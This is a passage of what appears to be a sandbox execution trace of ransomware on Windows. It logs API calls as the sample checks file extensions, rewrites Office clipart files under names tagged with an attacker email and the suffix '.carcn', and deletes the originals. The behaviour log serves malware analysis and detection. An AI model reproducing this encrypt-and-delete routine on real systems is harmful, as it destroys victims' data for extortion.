(lpString1=".dbf", lpString2=".WMF") returned -1 [0307.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0307.928] lstrlenW (lpString=".1cd") returned 4 [0307.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0307.929] lstrlenW (lpString=".jpg") returned 4 [0307.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.929] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.929] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0307.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0307.930] GetLastError () returned 0x0 [0307.930] ReadFile (in: hFile=0x35c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x26f0, lpOverlapped=0x0) returned 1 [0308.009] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x2700, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x2700, lpOverlapped=0x0) returned 1 [0308.010] ReadFile (in: hFile=0x35c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0308.010] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0308.011] SetEndOfFile (hFile=0x37c) returned 1 [0308.011] CloseHandle (hObject=0x37c) returned 1 [0308.011] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0308.011] SetEndOfFile (hFile=0x35c) returned 1 [0308.012] CloseHandle (hObject=0x35c) returned 1 [0308.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0308.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf")) returned 1 [0309.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0309.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0309.285] lstrlenW (lpString=".doc") returned 4 [0309.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0309.285] lstrlenW (lpString=".docx") returned 5 [0309.285] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0309.285] lstrlenW (lpString=".pdf") returned 4 [0309.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0309.285] lstrlenW (lpString=".xls") returned 4 [0309.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0309.285] lstrlenW (lpString=".xlsx") returned 5 [0309.285] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0309.285] lstrlenW (lpString=".ppt") returned 4 [0309.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0309.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0309.286] lstrlenW (lpString=".zip") returned 4 [0309.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0309.286] lstrlenW (lpString=".rar") returned 4 [0309.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0309.286] lstrlenW (lpString=".bz2") returned 4 [0309.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0309.286] lstrlenW (lpString=".7z") returned 3 [0309.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0309.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0309.286] lstrlenW (lpString=".dbf") returned 4 [0309.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0309.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0309.286] lstrlenW (lpString=".1cd") returned 4 [0309.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0309.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF") returned 68 [0309.286] lstrlenW (lpString=".jpg") returned 4 [0309.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0309.287] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.288] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0309.311] GetLastError () returned 0x0 [0309.311] ReadFile (in: hFile=0x338, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1f3c, lpOverlapped=0x0) returned 1 [0309.423] WriteFile (in: hFile=0x348, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1f40, lpOverlapped=0x0) returned 1 [0309.424] ReadFile (in: hFile=0x338, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0309.424] WriteFile (in: hFile=0x348, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0309.425] SetEndOfFile (hFile=0x348) returned 1 [0309.425] CloseHandle (hObject=0x348) returned 1 [0309.425] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.425] SetEndOfFile (hFile=0x338) returned 1 [0309.426] CloseHandle (hObject=0x338) returned 1 [0309.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0309.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf")) returned 1 [0309.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0309.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0309.427] lstrlenW (lpString=".doc") returned 4 [0309.427] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0309.427] lstrlenW (lpString=".docx") returned 5 [0309.427] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0309.427] lstrlenW (lpString=".pdf") returned 4 [0309.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0309.428] lstrlenW (lpString=".xls") returned 4 [0309.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0309.428] lstrlenW (lpString=".xlsx") returned 5 [0309.428] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0309.428] lstrlenW (lpString=".ppt") returned 4 [0309.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0309.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0309.428] lstrlenW (lpString=".zip") returned 4 [0309.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0309.428] lstrlenW (lpString=".rar") returned 4 [0309.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0309.428] lstrlenW (lpString=".bz2") returned 4 [0309.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0309.428] lstrlenW (lpString=".7z") returned 3 [0309.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0309.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0309.428] lstrlenW (lpString=".dbf") returned 4 [0309.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0309.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0309.428] lstrlenW (lpString=".1cd") returned 4 [0309.428] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0309.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0309.428] lstrlenW (lpString=".jpg") returned 4 [0309.428] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0309.429] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.429] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0309.429] GetLastError () returned 0x0 [0309.429] ReadFile (in: hFile=0x338, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x2b64, lpOverlapped=0x0) returned 1 [0309.458] WriteFile (in: hFile=0x348, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x2b70, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x2b70, lpOverlapped=0x0) returned 1 [0309.459] ReadFile (in: hFile=0x338, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0309.459] WriteFile (in: hFile=0x348, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0309.459] SetEndOfFile (hFile=0x348) returned 1 [0309.459] CloseHandle (hObject=0x348) returned 1 [0309.459] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.459] SetEndOfFile (hFile=0x338) returned 1 [0309.460] CloseHandle (hObject=0x338) returned 1 [0309.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0309.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf")) returned 1 [0309.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0309.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0309.461] lstrlenW (lpString=".doc") returned 4 [0309.461] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0309.461] lstrlenW (lpString=".docx") returned 5 [0309.461] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0309.461] lstrlenW (lpString=".pdf") returned 4 [0309.461] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0309.461] lstrlenW (lpString=".xls") returned 4 [0309.461] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0309.461] lstrlenW (lpString=".xlsx") returned 5 [0309.461] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0309.461] lstrlenW (lpString=".ppt") returned 4 [0309.461] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0309.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0309.461] lstrlenW (lpString=".zip") returned 4 [0309.461] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0309.461] lstrlenW (lpString=".rar") returned 4 [0309.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0309.461] lstrlenW (lpString=".bz2") returned 4 [0309.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0309.461] lstrlenW (lpString=".7z") returned 3 [0309.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0309.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0309.461] lstrlenW (lpString=".dbf") returned 4 [0309.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0309.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0309.461] lstrlenW (lpString=".1cd") returned 4 [0309.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0309.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0309.462] lstrlenW (lpString=".jpg") returned 4 [0309.462] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0309.465] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.465] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0309.466] GetLastError () returned 0x0 [0309.466] ReadFile (in: hFile=0x338, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x3014, lpOverlapped=0x0) returned 1 [0309.626] WriteFile (in: hFile=0x348, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x3020, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x3020, lpOverlapped=0x0) returned 1 [0309.627] ReadFile (in: hFile=0x338, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0309.627] WriteFile (in: hFile=0x348, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0309.627] SetEndOfFile (hFile=0x348) returned 1 [0309.628] CloseHandle (hObject=0x348) returned 1 [0309.628] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.628] SetEndOfFile (hFile=0x338) returned 1 [0309.629] CloseHandle (hObject=0x338) returned 1 [0309.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0309.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf")) returned 1 [0309.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0309.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0309.630] lstrlenW (lpString=".doc") returned 4 [0309.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0309.630] lstrlenW (lpString=".docx") returned 5 [0309.630] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0309.630] lstrlenW (lpString=".pdf") returned 4 [0309.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0309.631] lstrlenW (lpString=".xls") returned 4 [0309.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0309.631] lstrlenW (lpString=".xlsx") returned 5 [0309.631] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0309.631] lstrlenW (lpString=".ppt") returned 4 [0309.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0309.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0309.631] lstrlenW (lpString=".zip") returned 4 [0309.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0309.631] lstrlenW (lpString=".rar") returned 4 [0309.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0309.631] lstrlenW (lpString=".bz2") returned 4 [0309.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0309.631] lstrlenW (lpString=".7z") returned 3 [0309.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0309.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0309.631] lstrlenW (lpString=".dbf") returned 4 [0309.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0309.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0309.631] lstrlenW (lpString=".1cd") returned 4 [0309.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0309.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68 [0309.631] lstrlenW (lpString=".jpg") returned 4 [0309.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0309.632] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.632] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0309.633] GetLastError () returned 0x0 [0309.633] ReadFile (in: hFile=0x338, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1028, lpOverlapped=0x0) returned 1 [0309.872] WriteFile (in: hFile=0x348, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1030, lpOverlapped=0x0) returned 1 [0309.874] ReadFile (in: hFile=0x338, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0309.874] WriteFile (in: hFile=0x348, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0309.874] SetEndOfFile (hFile=0x348) returned 1 [0309.874] CloseHandle (hObject=0x348) returned 1 [0309.874] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.874] SetEndOfFile (hFile=0x338) returned 1 [0309.876] CloseHandle (hObject=0x338) returned 1 [0309.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0309.876] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf")) returned 1 [0309.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0309.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0309.932] lstrlenW (lpString=".doc") returned 4 [0309.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0309.932] lstrlenW (lpString=".docx") returned 5 [0309.932] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0309.932] lstrlenW (lpString=".pdf") returned 4 [0309.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0309.932] lstrlenW (lpString=".xls") returned 4 [0309.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0309.932] lstrlenW (lpString=".xlsx") returned 5 [0309.932] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0309.932] lstrlenW (lpString=".ppt") returned 4 [0309.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0309.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0309.933] lstrlenW (lpString=".zip") returned 4 [0309.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0309.933] lstrlenW (lpString=".rar") returned 4 [0309.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0309.933] lstrlenW (lpString=".bz2") returned 4 [0309.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0309.933] lstrlenW (lpString=".7z") returned 3 [0309.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0309.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0309.933] lstrlenW (lpString=".dbf") returned 4 [0309.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0309.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0309.933] lstrlenW (lpString=".1cd") returned 4 [0309.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0309.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0309.933] lstrlenW (lpString=".jpg") returned 4 [0309.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.140] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.140] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0310.152] GetLastError () returned 0x0 [0310.152] ReadFile (in: hFile=0x338, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1984, lpOverlapped=0x0) returned 1 [0310.160] WriteFile (in: hFile=0x348, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1990, lpOverlapped=0x0) returned 1 [0310.162] ReadFile (in: hFile=0x338, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0310.162] 